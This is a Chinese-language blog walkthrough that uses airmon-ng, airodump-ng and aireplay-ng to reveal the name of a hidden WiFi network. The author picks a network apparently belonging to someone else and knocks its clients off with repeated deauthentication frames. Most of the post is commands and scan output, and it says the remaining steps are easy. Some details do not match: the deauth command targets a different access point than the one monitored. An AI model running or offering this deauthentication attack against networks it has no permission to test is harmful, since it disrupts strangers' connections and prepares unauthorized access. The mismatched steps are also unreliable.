隐藏 wifi-ssid 获取 · theKingOfNight's Blog

> 最近玩一些 wifi 的 game，意识到隐藏 wifi 的速度可能会好一些，索性玩一玩

最近玩一些 wifi 的 game，意识到隐藏 wifi 的速度可能会好一些，索性玩一玩

```
┌─[✗]─[root@parrot]─[~]
└──╼ #airmon-ng check kill
┌─[✗]─[root@parrot]─[~]
└──╼ #airmon-ng start wlan0
```

```
┌─[✗]─[root@parrot]─[~]
└──╼ #airodump-ng wlan0mon
 CH 10 ][ Elapsed: 1 min ][ 2019-02-03 16:20
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
 68:DB:54:xx:xx:xx  -47      212       15    0   4  130  WPA2 CCMP   PSK  <length:  0>
```

```
6         30:FC:68:xx:xx:xx   -1        0        1    0   5  -1   WPA             <length:  0>
7         28:F3:66:xx:xx:xx   -1        0       11    0  11  -1   WPA             <length:  0>
8         48:7D:2E:xx:xx:xx  -54       69        1    0  11  405  WPA2 CCMP   PSK  yangxiao
9         38:83:45:xx:xx:xx  -55      108      284    0  11   65  WPA2 CCMP   PSK  <length:  0>
10        1C:AB:34:xx:xx:xx  -55       85      365    6  11  130  WPA2 CCMP   PSK  H3C_6B7374
11        88:25:93:xx:xx:xx  -56       60        0    0   6  405  WPA2 CCMP   PSK  <length:  0>
12        50:BD:5F:xx:xx:xx  -58       51        0    0   1  405  WPA2 CCMP   PSK  <length:  0>
13        34:CE:00:xx:xx:xx  -64       89        0    0   6  54e. OPN             lumi-acpartner-v2_miap13b6
14        B0:95:8E:xx:xx:xx  -65       49       30    0   6  405  WPA2 CCMP   PSK  yuhuole2
15        2C:CC:E6:xx:xx:xx  -67        6        0    0   9  130  WPA2 CCMP   PSK  CU_tqev
16
17
```

像这些带有 length:xx 的就是隐藏 wifi，名称我也不知道，不过没关系

可以查看下自己的网卡 Mac(上次重装系统后好像变了，神奇)

```
1   eth0: flags=4099<UP,BROADCAST,MULTICAST>  mtu 1500
2           ether 80:fa:5b:xx:xx:xx  txqueuelen 1000  (Ethernet)
3           RX packets 0  bytes 0 (0.0 B)
```

```
4           RX errors 0  dropped 0  overruns 0  frame 0
5           TX packets 0  bytes 0 (0.0 B)
6           TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0
```

索性随便选取一条

```

CH 12 ][ Elapsed: 12 s ][ 2019-02-03 16:24
BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
68:DB:54:xx:xx:xx  -52  67     5462     4941  650   4  130  WPA2 CCMP   PSK   <length:  0>

```

```
┌─[root@parrot]─[~]
└──╼ #airodump-ng -c 4 --bssid 68:DB:54:xx:xx:xx wlan0mon
```

会显示如下，下面出来 BSSID 才可以识别隐藏 wifi 的 ssid

```
CH  4 ][ Elapsed: 14 mins ][ 2019-02-03 17:06 ][ fixed channel wlan0mon: 6
BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
```

```
68:DB:54:xx:xx:xx  -52  67     5462     4941  650   4  130  WPA2 CCMP   PSK  <length:  0>
BSSID              STATION            PWR   Rate    Lost    Frames  Probe
68:DB:54:xx:xx:xx  70:D9:23:xx:xx:xx  -69    1e- 6      2      388
68:DB:54:xx:xx:xx  08:4A:CF:xx:xx:xx  -87    0e- 1      0      106
68:DB:54:xx:xx:xx  38:6E:A2:xx:xx:xx  -70    1e- 1e     0       10
```

然后

```
┌─[✗]─[root@parrot]─[~]
└──╼ #aireplay-ng -0 30 -a 38:83:45:xx:xx:xx -c 80:FA:5B:xx:xx:xx wlan0mon
16:49:11  Waiting for beacon frame (BSSID: 38:83:45:5E:E0:A2) on channel 11
16:49:12  Sending 64 directed DeAuth (code 7). STMAC: [80:FA:5B:xx:xx:xx] [ 0|59 ACKs]
16:49:12  Sending 64 directed DeAuth (code 7). STMAC: [80:FA:5B:xx:xx:xx] [ 0|55 ACKs]
16:49:13  Sending 64 directed DeAuth (code 7). STMAC: [80:FA:5B:xx:xx:xx] [ 4|50 ACKs]
16:49:13  Sending 64 directed DeAuth (code 7). STMAC: [80:FA:5B:xx:xx:xx] [ 4|57 ACKs]
。。。。。。
```

多尝试几次，然后对方的 ssid 就出来了，剩下就很简单了

```
1
2
3   CH  4 ][ Elapsed: 14 mins ][ 2019-02-03 17:06 ][ fixed channel wlan0mon: 6
4   BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
5   68:DB:54:xx:xx:xx  -52  67     5462     4941  650   4  130  WPA2 CCMP   PSK  001
6   BSSID              STATION            PWR   Rate    Lost    Frames  Probe
7   68:DB:54:xx:xx:xx  70:D9:xx:xx:xx:xx  -69    1e- 6      2       388
8   68:DB:54:xx:xx:xx  38:6E:xx:xx:xx:xx  -84    0e- 6      0      4176
9   68:DB:54:xx:xx:xx  08:4A:xx:xx:xx:xx  -87    0e- 1      0       106
10  68:DB:54:xx:xx:xx  38:6E:A2:xx:xx:xx  -70    1e- 1e     0        10
11
12
```

airodump-ng 和 aireplay-ng 需要同时打开，如果失败的话多 aireplay-ng 多执行几次
airodump-ng 下边有 ssid 才可以，否则不行（可能是实验问题）

```
1   ┌─[root@parrot]─[~]
```

```
└──╼ #ifconfig wlan0mon down
┌─[root@parrot]─[~]
└──╼ #service  network-manager start
┌─[root@parrot]─[~]
└──╼ #reboot
```